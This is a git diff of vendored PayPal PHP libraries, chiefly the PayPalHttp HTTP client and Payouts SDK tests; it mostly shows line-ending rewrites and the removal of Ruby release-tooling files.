a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemGetTest.php +++ b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsItemGetTest.php @@ -1,27 +1,27 @@ -execute($request); - $this->assertEquals(200, $response->statusCode); - $this->assertNotNull($response->result); - - // Add your own checks here - } -} +execute($request); + $this->assertEquals(200, $response->statusCode); + $this->assertNotNull($response->result); + + // Add your own checks here + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsPostTest.php b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsPostTest.php index 0ecfbacbbc..a1ac12257a 100644 --- a/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsPostTest.php +++ b/vendor/paypal/paypal-payouts-sdk/tests/Payouts/PayoutsPostTest.php @@ -1,59 +1,59 @@ -payPalPartnerAttributionId('agSzCOx4Ab9pHxgawSO'); - $request->payPalRequestId('M6a5KDUiH6-u6E2D'); - $request->body = self::buildRequestBody(); - - return $client->execute($request); - } - - public function testPayoutsPostRequest() - { - - $client = TestHarness::client(); - $response = self::create($client); - $this->assertEquals(201, $response->statusCode); - $this->assertNotNull($response->result); - - // Add your own checks here - } -} +payPalPartnerAttributionId('agSzCOx4Ab9pHxgawSO'); + $request->payPalRequestId('M6a5KDUiH6-u6E2D'); + $request->body = self::buildRequestBody(); + + return $client->execute($request); + } + + public function testPayoutsPostRequest() + { + + $client = TestHarness::client(); + $response = self::create($client); + $this->assertEquals(201, $response->statusCode); + $this->assertNotNull($response->result); + + // Add your own checks here + } +} diff --git a/vendor/paypal/paypal-payouts-sdk/tests/TestHarness.php b/vendor/paypal/paypal-payouts-sdk/tests/TestHarness.php index a5fb5e681f..f67004601b 100644 --- a/vendor/paypal/paypal-payouts-sdk/tests/TestHarness.php +++ b/vendor/paypal/paypal-payouts-sdk/tests/TestHarness.php @@ -1,21 +1,21 @@ ->"; - $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; - return new SandboxEnvironment($clientId, $clientSecret); - } -} +>"; + $clientSecret = getenv("CLIENT_SECRET") ?: "<>"; + return new SandboxEnvironment($clientId, $clientSecret); + } +} diff --git a/vendor/paypal/paypalhttp/.gitattributes b/vendor/paypal/paypalhttp/.gitattributes new file mode 100644 index 0000000000..ec6c2f5590 --- /dev/null +++ b/vendor/paypal/paypalhttp/.gitattributes @@ -0,0 +1,7 @@ +tests/ export-ignore +.idea/ export-ignore +.github/ export-ignore +.releasinator.rb export-ignore +Gemfile export-ignore +Gemfile.lock export-ignore + diff --git a/vendor/paypal/paypalhttp/.gitignore b/vendor/paypal/paypalhttp/.gitignore new file mode 100644 index 0000000000..2efb91fec7 --- /dev/null +++ b/vendor/paypal/paypalhttp/.gitignore @@ -0,0 +1,32 @@ +.DS_Store +/vendor/ +composer.phar +composer.lock + +# User-specific stuff: +.idea/**/workspace.xml +.idea/**/tasks.xml +.idea/dictionaries + +.idea/codeStyles/Project.xml +.idea/codeStyles/codeStyleConfig.xml +.idea/* + +# Sensitive or high-churn files: +.idea/**/dataSources/ +.idea/**/dataSources.ids +.idea/**/dataSources.xml +.idea/**/dataSources.local.xml +.idea/**/sqlDataSources.xml +.idea/**/dynamic.xml +.idea/**/uiDesigner.xml + +## File-based project format: +*.iws +.idea/*.iml +.idea/vcs.xml +.idea/php.xml +.idea/php-test-framework.xml +.idea/modules.xml +__files/* +mappings/* diff --git a/vendor/paypal/paypalhttp/.releasinator.rb b/vendor/paypal/paypalhttp/.releasinator.rb deleted file mode 100644 index 0c54b694e0..0000000000 --- a/vendor/paypal/paypalhttp/.releasinator.rb +++ /dev/null @@ -1,47 +0,0 @@ -require 'securerandom' - -#### releasinator config #### -configatron.product_name = "PayPalHttp-PHP" - -# List of items to confirm from the person releasing. Required, but empty list is ok. -configatron.prerelease_checklist_items = [ - "Sanity check the master branch." -] - -def test - CommandProcessor.command("composer update", live_output=true) - CommandProcessor.command("vendor/bin/phpunit", live_output=true) -end - -configatron.custom_validation_methods = [ - method(:test) -] - -# there are no separate build steps for PayPalHttp-PHP, so it is just empty method -def build_method -end - -# The command that builds the sdk. Required. -configatron.build_method = method(:build_method) - -# Creating and pushing a tag will automatically create a release, so it is just empty method -def publish_to_package_manager(version) -end - -# The method that publishes the sdk to the package manager. Required. -configatron.publish_to_package_manager_method = method(:publish_to_package_manager) - -def wait_for_package_manager(version) -end - -# Version is tied to the current tag, noop -def update_version_method(version) -end - -# The method that waits for the package manager to be done. Required -configatron.wait_for_package_manager_method = method(:wait_for_package_manager) -configatron.update_version_method = method(:update_version_method) - -# Whether to publish the root repo to GitHub. Required. -configatron.release_to_github = true - diff --git a/vendor/paypal/paypalhttp/.travis.yml b/vendor/paypal/paypalhttp/.travis.yml index 926af50304..4fddbb9831 100644 --- a/vendor/paypal/paypalhttp/.travis.yml +++ b/vendor/paypal/paypalhttp/.travis.yml @@ -1,16 +1,16 @@ -sudo: false -language: php -php: -- 5.6 -- 7.0 -- 7.1 -- hhvm -matrix: - allow_failures: - - php: hhvm - fast_finish: true -before_script: -- composer self-update -- composer install --dev -script: -- vendor/bin/phpunit +sudo: false +language: php +php: +- 5.6 +- 7.0 +- 7.1 +- hhvm +matrix: + allow_failures: + - php: hhvm + fast_finish: true +before_script: +- composer self-update +- composer install --dev +script: +- vendor/bin/phpunit diff --git a/vendor/paypal/paypalhttp/CHANGELOG.md b/vendor/paypal/paypalhttp/CHANGELOG.md index e613b6b7c9..6a099d21f2 100644 --- a/vendor/paypal/paypalhttp/CHANGELOG.md +++ b/vendor/paypal/paypalhttp/CHANGELOG.md @@ -1,5 +1,5 @@ -## 1.0.1 -* Fix Case Sensitivity of Content Type for deserialization process - -## 1.0.0 -- First release +## 1.0.1 +* Fix Case Sensitivity of Content Type for deserialization process + +## 1.0.0 +- First release diff --git a/vendor/paypal/paypalhttp/CONTRIBUTING.md b/vendor/paypal/paypalhttp/CONTRIBUTING.md index f5511468f5..3810a58edc 100644 --- a/vendor/paypal/paypalhttp/CONTRIBUTING.md +++ b/vendor/paypal/paypalhttp/CONTRIBUTING.md @@ -1,10 +1,10 @@ -# Contribute to the PayPal PHP HttpClient - -### *Pull requests are welcome!* - -General Guidelines ------------------- - -* **Code style.** Please follow local code style. Ask if you're unsure. -* **No warnings.** All generated code must compile without warnings. - +# Contribute to the PayPal PHP HttpClient + +### *Pull requests are welcome!* + +General Guidelines +------------------ + +* **Code style.** Please follow local code style. Ask if you're unsure. +* **No warnings.** All generated code must compile without warnings. + diff --git a/vendor/paypal/paypalhttp/Gemfile b/vendor/paypal/paypalhttp/Gemfile deleted file mode 100644 index 718dc9911f..0000000000 --- a/vendor/paypal/paypalhttp/Gemfile +++ /dev/null @@ -1,5 +0,0 @@ -source 'https://rubygems.org' - -gem 'releasinator', '~> 0.7' -gem 'rake' - diff --git a/vendor/paypal/paypalhttp/Gemfile.lock b/vendor/paypal/paypalhttp/Gemfile.lock deleted file mode 100644 index 5fd79bf0b1..0000000000 --- a/vendor/paypal/paypalhttp/Gemfile.lock +++ /dev/null @@ -1,47 +0,0 @@ -GEM - remote: https://rubygems.org/ - specs: - addressable (2.5.2) - public_suffix (>= 2.0.2, < 4.0) - colorize (0.8.1) - commonmarker (0.14.15) - ruby-enum (~> 0.5) - concurrent-ruby (1.0.5) - configatron (4.5.1) - faraday (0.13.1) - multipart-post (>= 1.2, < 3) - github-markup (1.6.1) - i18n (0.9.0) - concurrent-ruby (~> 1.0) - json (1.8.6) - multipart-post (2.0.0) - octokit (4.7.0) - sawyer (~> 0.8.0, >= 0.5.3) - public_suffix (3.0.0) - rake (12.1.0) - releasinator (0.7.6) - colorize (~> 0.7) - configatron (~> 4.5) - json (~> 1.8) - octokit (~> 4.0) - semantic (~> 1.4) - vandamme (~> 0.0.11) - ruby-enum (0.7.1) - i18n - sawyer (0.8.1) - addressable (>= 2.3.5, < 2.6) - faraday (~> 0.8, < 1.0) - semantic (1.6.0) - vandamme (0.0.12) - commonmarker (~> 0.14.14) - github-markup (~> 1.3) - -PLATFORMS - ruby - -DEPENDENCIES - rake - releasinator (~> 0.7) - -BUNDLED WITH - 1.15.4 diff --git a/vendor/paypal/paypalhttp/LICENSE b/vendor/paypal/paypalhttp/LICENSE index 42062c474e..5ee64d67aa 100644 --- a/vendor/paypal/paypalhttp/LICENSE +++ b/vendor/paypal/paypalhttp/LICENSE @@ -1,23 +1,23 @@ -Copyright (c) 2009-2021 PayPal, Inc. - -Permission is hereby granted, free of charge, to any person -obtaining a copy of this software and associated documentation -files (the "Software"), to deal in the Software without -restriction, including without limitation the rights to use, -copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the -Software is furnished to do so, subject to the following -conditions: - -The above copyright notice and this permission notice shall be -included in all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, -EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES -OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND -NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, -WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR -OTHER DEALINGS IN THE SOFTWARE. - +Copyright (c) 2009-2021 PayPal, Inc. + +Permission is hereby granted, free of charge, to any person +obtaining a copy of this software and associated documentation +files (the "Software"), to deal in the Software without +restriction, including without limitation the rights to use, +copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. + diff --git a/vendor/paypal/paypalhttp/README.md b/vendor/paypal/paypalhttp/README.md index ff1773b747..c4bc958480 100644 --- a/vendor/paypal/paypalhttp/README.md +++ b/vendor/paypal/paypalhttp/README.md @@ -1,76 +1,76 @@ -## PayPal HttpClient - -PayPalHttp is a generic HTTP Client. - -In it's simplest form, an [`HttpClient`](lib/PayPalHttp/HttpClient.php) exposes an `execute` method which takes an [HTTP request](lib/PayPalHttp/HttpRequest.php), executes it against the domain described in an [Environment](lib/PayPalHttp/Environment.php), and returns an [HTTP response](lib/PayPalHttp/HttpResponse.php). - -### Environment - -An [`Environment`](./lib/PayPalHttp/environment.rb) describes a domain that hosts a REST API, against which an `HttpClient` will make requests. `Environment` is a simple interface that wraps one method, `baseUrl`. - -```php -$env = new Environment('https://example.com'); -``` - -### Requests - -HTTP requests contain all the information needed to make an HTTP request against the REST API. Specifically, one request describes a path, a verb, any path/query/form parameters, headers, attached files for upload, and body data. - -### Responses - -HTTP responses contain information returned by a server in response to a request as described above. They are simple objects which contain a status code, headers, and any data returned by the server. - -```php -$request = new HttpRequest("/path", "GET"); -$request->body[] = "some data"; - -$response = $client->execute($req); - -$statusCode = $response->statusCode; -$headers = $response->headers; -$data = $response->result; -``` - -### Injectors - -Injectors are blocks that can be used for executing arbitrary pre-flight logic, such as modifying a request or logging data. Injectors are attached to an `HttpClient` using the `addInjector` method. - -The `HttpClient` executes its injectors in a first-in, first-out order, before each request. - -```php -class LogInjector implements Injector -{ - public function inject($httpRequest) - { - // Do some logging here - } -} - -$logInjector = new LogInjector(); -$client = new HttpClient($environment); -$client->addInjector($logInjector); -... -``` - -### Error Handling - -`HttpClient#execute` may throw an `Exception` if something went wrong during the course of execution. If the server returned a non-200 response, [IOException](lib/PayPalHttp/IOException.php) will be thrown, that will contain a status code and headers you can use for debugging. - -```php -try -{ - $client->execute($req); -} -catch (HttpException $e) -{ - $statusCode = $e->response->statusCode; - $headers = $e->response->headers; - $body = $e->response->result; -} -``` - -## License -PayPalHttp-PHP is open source and available under the MIT license. See the [LICENSE](./LICENSE) file for more information. - -## Contributing -Pull requests and issues are welcome. Please see [CONTRIBUTING.md](./CONTRIBUTING.md) for more details. +## PayPal HttpClient + +PayPalHttp is a generic HTTP Client. + +In it's simplest form, an [`HttpClient`](lib/PayPalHttp/HttpClient.php) exposes an `execute` method which takes an [HTTP request](lib/PayPalHttp/HttpRequest.php), executes it against the domain described in an [Environment](lib/PayPalHttp/Environment.php), and returns an [HTTP response](lib/PayPalHttp/HttpResponse.php). + +### Environment + +An [`Environment`](./lib/PayPalHttp/environment.rb) describes a domain that hosts a REST API, against which an `HttpClient` will make requests. `Environment` is a simple interface that wraps one method, `baseUrl`. + +```php +$env = new Environment('https://example.com'); +``` + +### Requests + +HTTP requests contain all the information needed to make an HTTP request against the REST API. Specifically, one request describes a path, a verb, any path/query/form parameters, headers, attached files for upload, and body data. + +### Responses + +HTTP responses contain information returned by a server in response to a request as described above. They are simple objects which contain a status code, headers, and any data returned by the server. + +```php +$request = new HttpRequest("/path", "GET"); +$request->body[] = "some data"; + +$response = $client->execute($req); + +$statusCode = $response->statusCode; +$headers = $response->headers; +$data = $response->result; +``` + +### Injectors + +Injectors are blocks that can be used for executing arbitrary pre-flight logic, such as modifying a request or logging data. Injectors are attached to an `HttpClient` using the `addInjector` method. + +The `HttpClient` executes its injectors in a first-in, first-out order, before each request. + +```php +class LogInjector implements Injector +{ + public function inject($httpRequest) + { + // Do some logging here + } +} + +$logInjector = new LogInjector(); +$client = new HttpClient($environment); +$client->addInjector($logInjector); +... +``` + +### Error Handling + +`HttpClient#execute` may throw an `Exception` if something went wrong during the course of execution. If the server returned a non-200 response, [IOException](lib/PayPalHttp/IOException.php) will be thrown, that will contain a status code and headers you can use for debugging. + +```php +try +{ + $client->execute($req); +} +catch (HttpException $e) +{ + $statusCode = $e->response->statusCode; + $headers = $e->response->headers; + $body = $e->response->result; +} +``` + +## License +PayPalHttp-PHP is open source and available under the MIT license. See the [LICENSE](./LICENSE) file for more information. + +## Contributing +Pull requests and issues are welcome. Please see [CONTRIBUTING.md](./CONTRIBUTING.md) for more details. diff --git a/vendor/paypal/paypalhttp/Rakefile b/vendor/paypal/paypalhttp/Rakefile index 30824c7536..33a443c3a5 100644 --- a/vendor/paypal/paypalhttp/Rakefile +++ b/vendor/paypal/paypalhttp/Rakefile @@ -1,2 +1,2 @@ -spec = Gem::Specification.find_by_name 'releasinator' -load "#{spec.gem_dir}/lib/tasks/releasinator.rake" +spec = Gem::Specification.find_by_name 'releasinator' +load "#{spec.gem_dir}/lib/tasks/releasinator.rake" diff --git a/vendor/paypal/paypalhttp/composer.json b/vendor/paypal/paypalhttp/composer.json index dc1d85d3c8..05728a3401 100644 --- a/vendor/paypal/paypalhttp/composer.json +++ b/vendor/paypal/paypalhttp/composer.json @@ -1,23 +1,23 @@ -{ - "name": "paypal/paypalhttp", - "type": "library", - "license": "MIT", - "authors": [ - { - "name": "PayPal", - "homepage": "https://github.com/paypal/paypalhttp_php/contributors" - } - ], - "require": { - "ext-curl": "*" - }, - "require-dev": { - "phpunit/phpunit": "^5.7", - "wiremock-php/wiremock-php": "1.43.2" - }, - "autoload": { - "psr-4": { - "PayPalHttp\\": "lib/PayPalHttp" - } - } -} +{ + "name": "paypal/paypalhttp", + "type": "library", + "license": "MIT", + "authors": [ + { + "name": "PayPal", + "homepage": "https://github.com/paypal/paypalhttp_php/contributors" + } + ], + "require": { + "ext-curl": "*" + }, + "require-dev": { + "phpunit/phpunit": "^5.7", + "wiremock-php/wiremock-php": "1.43.2" + }, + "autoload": { + "psr-4": { + "PayPalHttp\\": "lib/PayPalHttp" + } + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Curl.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Curl.php index 9d5ce8f25e..08e6eaf8fa 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Curl.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Curl.php @@ -1,57 +1,57 @@ -curl = $curl; - } - - public function setOpt($option, $value) - { - curl_setopt($this->curl, $option, $value); - return $this; - } - - public function close() - { - curl_close($this->curl); - return $this; - } - - public function exec() - { - return curl_exec($this->curl); - } - - public function errNo() - { - return curl_errno($this->curl); - } - - public function getInfo($option) - { - return curl_getinfo($this->curl, $option); - } - - public function error() - { - return curl_error($this->curl); - } -} +curl = $curl; + } + + public function setOpt($option, $value) + { + curl_setopt($this->curl, $option, $value); + return $this; + } + + public function close() + { + curl_close($this->curl); + return $this; + } + + public function exec() + { + return curl_exec($this->curl); + } + + public function errNo() + { + return curl_errno($this->curl); + } + + public function getInfo($option) + { + return curl_getinfo($this->curl, $option); + } + + public function error() + { + return curl_error($this->curl); + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Encoder.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Encoder.php index 06ce88a48d..42c87f98ec 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Encoder.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Encoder.php @@ -1,115 +1,115 @@ -serializers[] = new Json(); - $this->serializers[] = new Text(); - $this->serializers[] = new Multipart(); - $this->serializers[] = new Form(); - } - - - - public function serializeRequest(HttpRequest $request) - { - if (!array_key_exists('content-type', $request->headers)) { - $message = "HttpRequest does not have Content-Type header set"; - echo $message; - throw new \Exception($message); - } - - $contentType = $request->headers['content-type']; - /** @var Serializer $serializer */ - $serializer = $this->serializer($contentType); - - if (is_null($serializer)) { - $message = sprintf("Unable to serialize request with Content-Type: %s. Supported encodings are: %s", $contentType, implode(", ", $this->supportedEncodings())); - echo $message; - throw new \Exception($message); - } - - if (!(is_string($request->body) || is_array($request->body))) { - $message = "Body must be either string or array"; - echo $message; - throw new \Exception($message); - } - - $serialized = $serializer->encode($request); - - if (array_key_exists("content-encoding", $request->headers) && $request->headers["content-encoding"] === "gzip") { - $serialized = gzencode($serialized); - } - return $serialized; - } - - - public function deserializeResponse($responseBody, $headers) - { - - if (!array_key_exists('content-type', $headers)) { - $message = "HTTP response does not have Content-Type header set"; - echo $message; - throw new \Exception($message); - } - - $contentType = $headers['content-type']; - $contentType = strtolower($contentType); - /** @var Serializer $serializer */ - $serializer = $this->serializer($contentType); - - if (is_null($serializer)) { - throw new \Exception(sprintf("Unable to deserialize response with Content-Type: %s. Supported encodings are: %s", $contentType, implode(", ", $this->supportedEncodings()))); - } - - if (array_key_exists("content-encoding", $headers) && $headers["content-encoding"] === "gzip") { - $responseBody = gzdecode($responseBody); - } - - return $serializer->decode($responseBody); - } - - private function serializer($contentType) - { - /** @var Serializer $serializer */ - foreach ($this->serializers as $serializer) { - try { - if (preg_match($serializer->contentType(), $contentType) == 1) { - return $serializer; - } - } catch (\Exception $ex) { - $message = sprintf("Error while checking content type of %s: %s", get_class($serializer), $ex->getMessage()); - echo $message; - throw new \Exception($message, $ex->getCode(), $ex); - } - } - - return NULL; - } - - private function supportedEncodings() - { - $values = []; - /** @var Serializer $serializer */ - foreach ($this->serializers as $serializer) { - $values[] = $serializer->contentType(); - } - return $values; - } -} +serializers[] = new Json(); + $this->serializers[] = new Text(); + $this->serializers[] = new Multipart(); + $this->serializers[] = new Form(); + } + + + + public function serializeRequest(HttpRequest $request) + { + if (!array_key_exists('content-type', $request->headers)) { + $message = "HttpRequest does not have Content-Type header set"; + echo $message; + throw new \Exception($message); + } + + $contentType = $request->headers['content-type']; + /** @var Serializer $serializer */ + $serializer = $this->serializer($contentType); + + if (is_null($serializer)) { + $message = sprintf("Unable to serialize request with Content-Type: %s. Supported encodings are: %s", $contentType, implode(", ", $this->supportedEncodings())); + echo $message; + throw new \Exception($message); + } + + if (!(is_string($request->body) || is_array($request->body))) { + $message = "Body must be either string or array"; + echo $message; + throw new \Exception($message); + } + + $serialized = $serializer->encode($request); + + if (array_key_exists("content-encoding", $request->headers) && $request->headers["content-encoding"] === "gzip") { + $serialized = gzencode($serialized); + } + return $serialized; + } + + + public function deserializeResponse($responseBody, $headers) + { + + if (!array_key_exists('content-type', $headers)) { + $message = "HTTP response does not have Content-Type header set"; + echo $message; + throw new \Exception($message); + } + + $contentType = $headers['content-type']; + $contentType = strtolower($contentType); + /** @var Serializer $serializer */ + $serializer = $this->serializer($contentType); + + if (is_null($serializer)) { + throw new \Exception(sprintf("Unable to deserialize response with Content-Type: %s. Supported encodings are: %s", $contentType, implode(", ", $this->supportedEncodings()))); + } + + if (array_key_exists("content-encoding", $headers) && $headers["content-encoding"] === "gzip") { + $responseBody = gzdecode($responseBody); + } + + return $serializer->decode($responseBody); + } + + private function serializer($contentType) + { + /** @var Serializer $serializer */ + foreach ($this->serializers as $serializer) { + try { + if (preg_match($serializer->contentType(), $contentType) == 1) { + return $serializer; + } + } catch (\Exception $ex) { + $message = sprintf("Error while checking content type of %s: %s", get_class($serializer), $ex->getMessage()); + echo $message; + throw new \Exception($message, $ex->getCode(), $ex); + } + } + + return NULL; + } + + private function supportedEncodings() + { + $values = []; + /** @var Serializer $serializer */ + foreach ($this->serializers as $serializer) { + $values[] = $serializer->contentType(); + } + return $values; + } +} diff --git a/vendor/paypal/paypalhttp/lib/PayPalHttp/Environment.php b/vendor/paypal/paypalhttp/lib/PayPalHttp/Environment.php index 0910a4491f..4eb0ce097c 100644 --- a/vendor/paypal/paypalhttp/lib/PayPalHttp/Environment.php +++ b/vendor/paypal/paypalhttp/lib/PayPalHttp/Environment.php @@ -1,18 +1,18 @@ -environment = $environment; - $this->encoder = new Encoder(); - $this->curlCls = Curl::class; - } - - /** - * Injectors are blocks that can be used for executing arbitrary pre-flight logic, such as modifying a request or logging data. - * Executed in first-in first-out order. - * - * @param Injector $inj - */ - public function addInjector(Injector $inj) - { - $this->injectors[] = $inj; - } - - /** - * The method that takes an HTTP request, serializes the request, makes a call to given environment, and deserialize response - * - * @param HttpRequest $httpRequest - * @return HttpResponse - * - * @throws HttpException - * @throws IOException - */ - public function execute(HttpRequest $httpRequest) - { - $requestCpy = clone $httpRequest; - $curl = new Curl(); - - foreach ($this->injectors as $inj) { - $inj->inject($requestCpy); - } - - $url = $this->environment->baseUrl() . $requestCpy->path; - $formattedHeaders = $this->prepareHeaders($requestCpy->headers); - if (!array_key_exists("user-agent", $formattedHeaders)) { - $requestCpy->headers["user-agent"] = $this->userAgent(); - } - - $body = ""; - if (!is_null($requestCpy->body)) { - $rawHeaders = $requestCpy->headers; - $requestCpy->headers = $formattedHeaders; - $body = $this->encoder->serializeRequest($requestCpy); - $requestCpy->headers = $this->mapHeaders($rawHeaders,$requestCpy->headers); - } - - $curl->setOpt(CURLOPT_URL, $url); - $curl->setOpt(CURLOPT_CUSTOMREQUEST, $requestCpy->verb); - $curl->setOpt(CURLOPT_HTTPHEADER, $this->serializeHeaders($requestCpy->headers)); - $curl->setOpt(CURLOPT_RETURNTRANSFER, 1); - $curl->setOpt(CURLOPT_HEADER, 0); - - if (!is_null($requestCpy->body)) { - $curl->setOpt(CURLOPT_POSTFIELDS, $body); - } - - if (strpos($this->environment->baseUrl(), "https://") === 0) { - $curl->setOpt(CURLOPT_SSL_VERIFYPEER, true); - $curl->setOpt(CURLOPT_SSL_VERIFYHOST, 2); - } - - if ($caCertPath = $this->getCACertFilePath()) { - $curl->setOpt(CURLOPT_CAINFO, $caCertPath); - } - - $response = $this->parseResponse($curl); - $curl->close(); - - return $response; - } - - /** - * Returns an array representing headers with their keys - * to be lower case - * @param $headers - * @return array - */ - public function prepareHeaders($headers){ - $preparedHeaders = array_change_key_case($headers); - if (array_key_exists("content-type", $preparedHeaders)) { - $preparedHeaders["content-type"] = strtolower($preparedHeaders["content-type"]); - } - return $preparedHeaders; - } - - /** - * Returns an array representing headers with their key in - * original cases and updated values - * @param $rawHeaders - * @param $formattedHeaders - * @return array - */ - public function mapHeaders($rawHeaders, $formattedHeaders){ - $rawHeadersKey = array_keys($rawHeaders); - foreach ($rawHeadersKey as $array_key) { - if(array_key_exists(strtolower($array_key), $formattedHeaders)){ - $rawHeaders[$array_key] = $formattedHeaders[strtolower($array_key)]; - } - } - return $rawHeaders; - } - - /** - * Returns default user-agent - * - * @return string - */ - public function userAgent() - { - return "PayPalHttp-PHP HTTP/1.1"; - } - - /** - * Return the filepath to your custom CA Cert if needed. - * @return string - */ - protected function getCACertFilePath() - { - return null; - } - - protected function setCurl(Curl $curl) - { - $this->curl = $curl; - } - - protected function setEncoder(Encoder $encoder) - { - $this->encoder = $encoder; - } - - private function serializeHeaders($headers) - { - $headerArray = []; - if ($headers) { - foreach ($headers as $key => $val) { - $headerArray[] = $key . ": " . $val; - } - } - - return $headerArray; - } - - private function parseResponse($curl) - { - $headers = []; - $curl->setOpt(CURLOPT_HEADERFUNCTION, - function($curl, $header) use (&$headers) - { - $len = strlen($header); - - $k = ""; - $v = ""; - - $this->deserializeHeader($header, $k, $v); - $headers[$k] = $v; - - return $len; - }); - - $responseData = $curl->exec(); - $statusCode = $curl->getInfo(CURLINFO_HTTP_CODE); - $errorCode = $curl->errNo(); - $error = $curl->error(); - - if ($errorCode > 0) { - throw new IOException($error, $errorCode); - } - - $body = $responseData; - - if ($statusCode >= 200 && $statusCode < 300) { - $responseBody = NULL; - - if (!empty($body)) { - $responseBody = $this->encoder->deserializeResponse($body, $this->prepareHeaders($headers)); - } - - return new HttpResponse( - $errorCode === 0 ? $statusCode : $errorCode, - $responseBody, - $headers - ); - } else { - throw new HttpException($body, $statusCode, $headers); - } - } - - private function deserializeHeader($header, &$key, &$value) - { - if (strlen($header) > 0) { - if (empty($header) || strpos($header, ':') === false) { - return NULL; - } - - list($k, $v) = explode(":", $header); - $key = trim($k); - $value = trim($v); - } - } -} +environment = $environment; + $this->encoder = new Encoder(); + $this->curlCls = Curl::class; + } + + /** + * Injectors are blocks that can be used for executing arbitrary pre-flight logic, such as modifying a request or logging data. + * Executed in first-in first-out order. + * + * @param Injector $inj + */ + public function addInjector(Injector $inj) + { + $this->injectors[] = $inj; + } + + /** + * The method that takes an HTTP request, serializes the request, makes a call to given environment, and deserialize response + * + * @param HttpRequest $httpRequest + * @return HttpResponse + * + * @throws HttpException + * @throws IOException + */ + public function execute(HttpRequest $httpRequest) + { + $requestCpy = clone $httpRequest; + $curl = new Curl(); + + foreach ($this->injectors as $inj) { + $inj->inject($requestCpy); + } + + $url = $this->environment->baseUrl() . $requestCpy->path; + $formattedHeaders = $this->prepareHeaders($requestCpy->headers); + if (!array_key_exists("user-agent", $formattedHeaders)) { + $requestCpy->headers["user-agent"] = $this->userAgent(); + } + + $body = ""; + if (!is_null($requestCpy->body)) { + $rawHeaders = $requestCpy->headers; + $requestCpy->headers = $formattedHeaders; + $body = $this->encoder->serializeRequest($requestCpy); + $requestCpy->headers = $this->mapHeaders($rawHeaders,$requestCpy->headers); + } + + $curl->setOpt(CURLOPT_URL, $url); + $curl->setOpt(CURLOPT_CUSTOMREQUEST, $requestCpy->verb); + $curl->setOpt(CURLOPT_HTTPHEADER, $this->serializeHeaders($requestCpy->headers)); + $curl->setOpt(CURLOPT_RETURNTRANSFER, 1); + $curl->setOpt(CURLOPT_HEADER, 0); + + if (!is_null($requestCpy->body)) { + $curl->setOpt(CURLOPT_POSTFIELDS, $body); + } + + if (strpos($this->environment->baseUrl(), "https://") === 0) { + $curl->setOpt(CURLOPT_SSL_VERIFYPEER, true); + $curl->setOpt(CURLOPT_SSL_VERIFYHOST, 2); + } + + if ($caCertPath = $this->getCACertFilePath()) { + $curl->setOpt(CURLOPT_CAINFO, $caCertPath); + } + + $response = $this->parseResponse($curl); + $curl->close(); + + return $response; + } + + /** + * Returns an array representing headers with their keys + * to be lower case + * @param $headers + * @return array + */ + public function prepareHeaders($headers){ + $preparedHeaders = array_change_key_case($headers); + if (array_key_exists("content-type", $preparedHeaders)) { + $preparedHeaders["content-type"] = strtolower($preparedHeaders["content-type"]); + } + return $preparedHeaders; + } + + /** + * Returns an array representing headers with their key in + * original cases and updated values + * @param $rawHeaders + * @param $formattedHeaders + * @return array + */ + public function mapHeaders($rawHeaders, $formattedHeaders){ + $rawHeadersKey = array_keys($rawHeaders); + foreach ($rawHeadersKey as $array_key) { + if(array_key_exists(strtolower($array_key), $formattedHeaders)){ + $rawHeaders[$array_key] = $formattedHeaders[strtolower($array_key)]; + } + } + return $rawHeaders; + } + + /** + * Returns default user-agent + * + * @return string + */ + public function userAgent() + { + return "PayPalHttp-PHP HTTP/1.1"; + } + + /** + * Return the filepath to your custom CA Cert if needed. + * @return string + */ + protected function getCACertFilePath() + { + return null; + } + + protected function setCurl(Curl $curl) + { + $this->curl = $curl; + } + + protected function setEncoder(Encoder $encoder) + { + $this->encoder = $encoder; + } + + private function serializeHeaders($headers) + { + $headerArray = []; + if ($headers) { + foreach ($headers as $key => $val) { + $headerArray[] = $key . ": " . $val; + } + } + + return $headerArray; + } + + private function parseResponse($curl) + { + $headers = []; + $curl->setOpt(CURLOPT_HEADERFUNCTION, + function($curl, $header) use (&$headers) + { + $len = strlen($header); + + $k = ""; + $v = ""; + + $this->deserializeHeader($header, $k, $v); + $headers[$k] = $v; + + return $len; + }); + + $responseData = $curl->exec(); + $statusCode = $curl->getInfo(CURLINFO_HTTP_CODE); + 